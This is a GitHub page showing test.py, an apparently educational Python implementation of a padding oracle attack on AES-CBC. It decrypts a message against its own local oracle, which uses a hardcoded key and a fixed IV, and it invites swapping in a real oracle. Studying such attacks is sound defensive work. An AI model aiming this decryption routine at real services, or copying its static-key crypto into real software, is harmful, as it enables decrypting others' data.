-
-
Notifications
You must be signed in to change notification settings - Fork 58
/
Copy pathtest.py
255 lines (200 loc) · 8.18 KB
/
test.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
#! /usr/bin/python
"""
Padding Oracle Attack implementation without remote server
Check the readme for a full cryptographic explanation
Author: mpgn <[email protected]>
Date: 2016
"""
import argparse
import re
import sys
import time
from itertools import cycle
from Cryptodome.Cipher import AES
"""
AES-CBC
function encrypt, decrypt, pad, unpad)
"""
def pad(s):
pad_byte = 16 - len(s) % 16
for i in range(pad_byte):
s.append(pad_byte)
return s
def unpad(s):
exe = re.findall("..", s.hex())
padding = int(exe[-1], 16)
exe = exe[::-1]
if padding == 0 or padding > 16:
return 0
for i in range(padding):
if int(exe[i], 16) != padding:
return 0
return s[: -ord(s[len(s) - 1 :])]
def encrypt(msg, iv):
raw = pad(msg)
cipher = AES.new(b"V38lKILOJmtpQMHp", AES.MODE_CBC, iv)
return cipher.encrypt(raw), iv
def decrypt(enc, iv):
decipher = AES.new(b"V38lKILOJmtpQMHp", AES.MODE_CBC, iv)
return unpad(decipher.decrypt(enc))
""" The function you want change to adapt the result to your problem """
def test_validity(error):
if error != 404:
return 1
return 0
def call_oracle(up_cipher, iv):
if decrypt(bytes.fromhex(up_cipher), iv) == 0:
return 404
return 200
""" Create custom block for the byte we search"""
def block_search_byte(size_block, i, pos, l):
hex_char = hex(pos).split("0x")[1]
return (
"00" * (size_block - (i + 1))
+ ("0" if len(hex_char) % 2 != 0 else "")
+ hex_char
+ "".join(l)
)
""" Create custom block for the padding"""
def block_padding(size_block, i):
l = []
for t in range(0, i + 1):
l.append(
("0" if len(hex(i + 1).split("0x")[1]) % 2 != 0 else "")
+ (hex(i + 1).split("0x")[1])
)
return "00" * (size_block - (i + 1)) + "".join(l)
def split_len(seq, length):
return [seq[i : i + length] for i in range(0, len(seq), length)]
def hex_xor(s1, s2):
b = bytearray()
for c1, c2 in zip(bytes.fromhex(s1), cycle(bytes.fromhex(s2))):
b.append(c1 ^ c2)
return b.hex()
def run(cipher, size_block):
cipher = cipher.upper()
found = False
valide_value = []
result = []
len_block = size_block * 2
cipher_block = split_len(cipher, len_block)
if len(cipher_block) == 1:
print(
"[-] Abort there is only one block. I can't influence the IV. Try a longer message."
)
sys.exit()
# for each cipher_block
for block in reversed(range(1, len(cipher_block))):
if len(cipher_block[block]) != len_block:
print("[-] Abort length block doesn't match the size_block")
break
print("[+] Search value block : ", block, "\n")
# for each byte of the block
for i in range(0, size_block):
# test each byte max 255
for ct_pos in range(0, 256):
# 1 xor 1 = 0 or valide padding need to be checked
if ct_pos != i + 1 or (
len(valide_value) > 0 and int(valide_value[-1], 16) == ct_pos
):
bk = block_search_byte(size_block, i, ct_pos, valide_value)
bp = cipher_block[block - 1]
bc = block_padding(size_block, i)
tmp = hex_xor(bk, bp)
cb = hex_xor(tmp, bc).upper()
up_cipher = cb + cipher_block[block]
# time.sleep(0.5)
# we call the oracle, our god
error = call_oracle(up_cipher, iv)
if args.verbose == True:
exe = re.findall("..", cb)
discover = ("").join(exe[size_block - i : size_block])
current = ("").join(exe[size_block - i - 1 : size_block - i])
find_me = ("").join(exe[: -i - 1])
sys.stdout.write(
"\r[+] Test [Byte %03i/256 - Block %d ]: \033[31m%s\033[33m%s\033[36m%s\033[0m"
% (ct_pos, block, find_me, current, discover)
)
sys.stdout.flush()
if test_validity(error):
found = True
# data analyse and insert in rigth order
value = re.findall("..", bk)
valide_value.insert(0, value[size_block - (i + 1)])
if args.verbose == True:
print("")
print("[+] Block M_Byte : %s" % bk)
print("[+] Block C_{i-1}: %s" % bp)
print("[+] Block Padding: %s" % bc)
print("")
bytes_found = "".join(valide_value)
if (
i == 0
and int(bytes_found, 16) > size_block
and block == len(cipher_block) - 1
):
print(
"[-] Error decryption failed the padding is > "
+ str(size_block)
)
sys.exit()
print(
"\033[36m" + "\033[1m" + "[+]" + "\033[0m" + " Found",
i + 1,
"bytes :",
bytes_found,
)
print("")
break
if found == False:
# lets say padding is 01 for the last block (the padding block)
if len(cipher_block) - 1 == block and i == 0:
value = re.findall("..", bk)
valide_value.insert(0, "01")
if args.verbose == True:
print("")
print(
"[-] No padding found, but maybe the padding is length 01 :)"
)
print("[+] Block M_Byte : %s" % bk)
print("[+] Block C_{i-1}: %s" % bp)
print("[+] Block Padding: %s" % bc)
print("")
bytes_found = "".join(valide_value)
else:
print("\n[-] Error decryption failed")
result.insert(0, "".join(valide_value))
hex_r = "".join(result)
if len(hex_r) > 0:
print("[+] Partial Decrypted value (HEX):", hex_r.upper())
padding = int(hex_r[len(hex_r) - 2 : len(hex_r)], 16)
print(
"[+] Partial Decrypted value (ASCII):",
bytes.fromhex(hex_r[0 : -(padding * 2)]).decode(),
)
sys.exit()
found = False
result.insert(0, "".join(valide_value))
valide_value = []
print("")
hex_r = "".join(result)
print("[+] Decrypted value (HEX):", hex_r.upper())
padding = int(hex_r[len(hex_r) - 2 : len(hex_r)], 16)
decoded = bytes.fromhex(hex_r[0 : -(padding * 2)]).decode()
print("[+] Decrypted value (ASCII):", decoded)
return decoded
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Exploit of Padding Oracle Attack")
parser.add_argument("-m", "--message", required=True, help="message to pown")
parser.add_argument(
"-v",
"--verbose",
help="debug mode, you need a large screen",
action="store_true",
)
args = parser.parse_args()
print("[+] Encrypt", args.message)
cipher, iv = encrypt(bytearray(args.message, "UTF-8"), b"1234567812345678")
print("[+] %s ---> %s" % (args.message, cipher.hex()))
plaintext = decrypt(cipher, iv)
run(cipher.hex(), 16)